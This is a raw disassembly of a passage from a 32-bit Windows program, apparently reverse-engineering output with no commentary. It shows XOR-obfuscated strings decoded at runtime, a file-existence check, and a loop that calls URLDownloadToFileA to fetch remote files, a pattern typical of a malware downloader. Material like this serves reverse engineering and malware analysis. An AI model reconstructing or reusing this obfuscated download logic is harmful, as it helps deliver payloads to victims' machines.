mov ecx, edi
call fcn.00468070
mov edx, eax
lea ecx, [edx + 1]
mov dword [ebp - 0x344], ecx
nop dword [eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4080b0
mov ecx, dword [0x7dd8a4]
sub edx, dword [ebp - 0x344]
push edx
push eax
lea ecx, [esi + ecx]
call fcn.004186d0
mov dl, 0x59
mov dword [ebp - 0x3d4], 0x37303559
mov dword [ebp - 0x3d0], 0x363d0632
xor ecx, ecx
mov dword [ebp - 0x3cc], 0x3635372e
mov word [ebp - 0x3c8], 0x3d38
mov byte [ebp - 0x3c6], 0
nop
lea eax, [ebp - 0x3d3]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x408117
mov dl, byte [ebp - 0x3d4]
jmp 0x408100
lea eax, [ebp - 0x3d3]
mov byte [ebp - 0x3c6], 0
push eax
mov ecx, edi
call fcn.00468070
mov edx, eax
lea ecx, [edx + 1]
mov dword [ebp - 0x344], ecx
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x408137
mov ecx, dword [0x7dd8d8]
sub edx, dword [ebp - 0x344]
push edx
push eax
lea ecx, [esi + ecx]
call fcn.004186d0
mov ch, 0x22
mov byte [ebp - 0x39f], 0
mov al, 0x56
mov byte [ebp - 0x3a4], ch
mov ah, 0x47
mov byte [ebp - 0x39f], 0
xor al, ch
xor ah, ch
mov cl, 0x5b
mov byte [ebp - 0x3a3], al
xor cl, ch
mov byte [ebp - 0x3a0], ah
mov dl, 0x52
mov byte [ebp - 0x3a2], cl
xor dl, ch
lea eax, [ebp - 0x3a3]
push eax
mov ecx, edi
mov byte [ebp - 0x3a1], dl
call fcn.00468070
mov edx, eax
lea ecx, [edx + 1]
mov dword [ebp - 0x344], ecx
nop dword [eax + eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4081b0
mov ecx, dword [0x7dd8bc]
sub edx, dword [ebp - 0x344]
push edx
push eax
lea ecx, [esi + ecx]
call fcn.004186d0
mov edx, dword [0x7dd8dc]
add edx, esi
cmp dword [edx + 0x14], 0xf
jbe 0x4081dd
mov edx, dword [edx]
lea ecx, [ebp - 0x378]
call fcn.004067e0
mov dword [ebp - 0x344], eax
cmp dword [eax + 0x14], 0xf
jbe 0x4081fc
mov eax, dword [eax]
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x22c], 0xf
lea esi, [ebp - 0x240]
push dword [ebp - 0x344]
cmova esi, dword [ebp - 0x240]
mov al, 0x39
push dword [ebp - 0x340]
mov dl, al
mov byte [ebp - 0x33a], al
mov cl, 0x6f
mov byte [ebp - 0x394], 0x1c
xor al, byte [ebp - 0x394]
mov ah, 0x2c
mov byte [ebp - 0x393], al
mov ch, 0x2f
mov byte [ebp - 0x339], cl
mov dh, 0x78
xor cl, byte [ebp - 0x394]
mov byte [ebp - 0x392], cl
mov cl, byte [ebp - 0x394]
mov byte [ebp - 0x345], 0x32
xor ah, cl
mov al, byte [ebp - 0x345]
xor dl, cl
xor al, cl
mov byte [ebp - 0x390], ah
mov byte [ebp - 0x38d], al
xor ch, cl
mov al, byte [ebp - 0x33a]
xor dh, cl
xor al, cl
mov byte [ebp - 0x38a], 0
mov byte [ebp - 0x38c], al
mov al, byte [ebp - 0x339]
xor al, cl
mov byte [ebp - 0x391], dl
mov byte [ebp - 0x38b], al
lea eax, [ebp - 0x393]
push esi
push eax
lea eax, [ebp - 0x120]
mov byte [ebp - 0x38f], ch
push eax
mov byte [ebp - 0x38e], dh
mov byte [ebp - 0x38a], 0
call fcn.00401d70
mov ecx, dword [ebp - 0x364]
add esp, 0x14
cmp ecx, 0xf
jbe 0x408309
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4082ff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406f25
push ecx
push edx
call fcn.00622081
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x368], 0
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x364], 0
movups xmmword [ebp - 0x378], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408330
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x378]
call fcn.00401af0
cmp dword [ebp - 0x364], 0xf
lea eax, [ebp - 0x378]
push 0x6dce08
cmova eax, dword [ebp - 0x378]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x408386
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x339], 0
jmp 0x40838d
mov byte [ebp - 0x339], 1
mov ecx, dword [ebp - 0x364]
cmp ecx, 0xf
jbe 0x4083c7
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4083bd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406f25
push ecx
push edx
call fcn.00622081
add esp, 8
cmp byte [ebp - 0x339], 0
mov esi, dword [ebp - 0x37c]
mov dword [ebp - 0x368], 0
mov dword [ebp - 0x364], 0xf
mov byte [ebp - 0x378], 0
je 0x408414
mov eax, dword [0x7dd8dc]
add eax, esi
cmp dword [eax + 0x14], 0xf
jbe 0x408400
mov eax, dword [eax]
push 0
push 0
lea ecx, [ebp - 0x120]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea ecx, [ebp - 0x120]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408420
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
mov ecx, dword [0x7dd8d0]
push eax
lea ecx, [esi + ecx]
call fcn.004186d0
test edi, edi
je 0x40844b
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
mov eax, dword [ebp - 0x340]
add esi, 0x18
inc eax
mov dword [ebp - 0x37c], esi
mov dword [ebp - 0x340], eax
cmp eax, dword [ebp - 0x418]
jl 0x407c04
mov ecx, dword [ebp - 0x41c]
test ecx, ecx
je 0x40847d
mov eax, dword [ecx]
push 1
call dword [eax]
mov ecx, dword [ebp - 0x22c]
cmp ecx, 0xf
jbe 0x4084b3
mov edx, dword [ebp - 0x240]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4084a9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408505
push ecx
push edx
call fcn.00622081
add esp, 8
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
lea ecx, [ebp - 0x2e8]
call fcn.00467ce0
mov ecx, dword [ebp - 0x244]
cmp ecx, 0xf
jbe 0x408515
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40850b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40850b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00622081
add esp, 8
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0xf
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x2a0]
call fcn.00467580
lea ecx, [ebp - 0x338]
call fcn.00468730
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00622073
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret